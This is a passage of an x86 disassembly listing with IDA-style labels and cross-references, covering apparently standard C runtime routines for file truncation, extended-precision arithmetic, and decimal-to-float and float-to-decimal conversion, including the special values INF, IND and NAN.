XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DC5A0, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DB598 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DB598 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DC5A0 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DC6C0 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB27C, 5 jnz short loc_424FDC mov dword_4DB278, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax nop call near ptr 2600000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB278, 0Dh call near ptr 2680925h nop mov dword_4DB27C, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB278, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43C508 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43C508 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43C508 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43C504, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43C508 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43C504, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp dword_43C504, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43C504, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43C504, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop ecx jnz short loc_425869 test 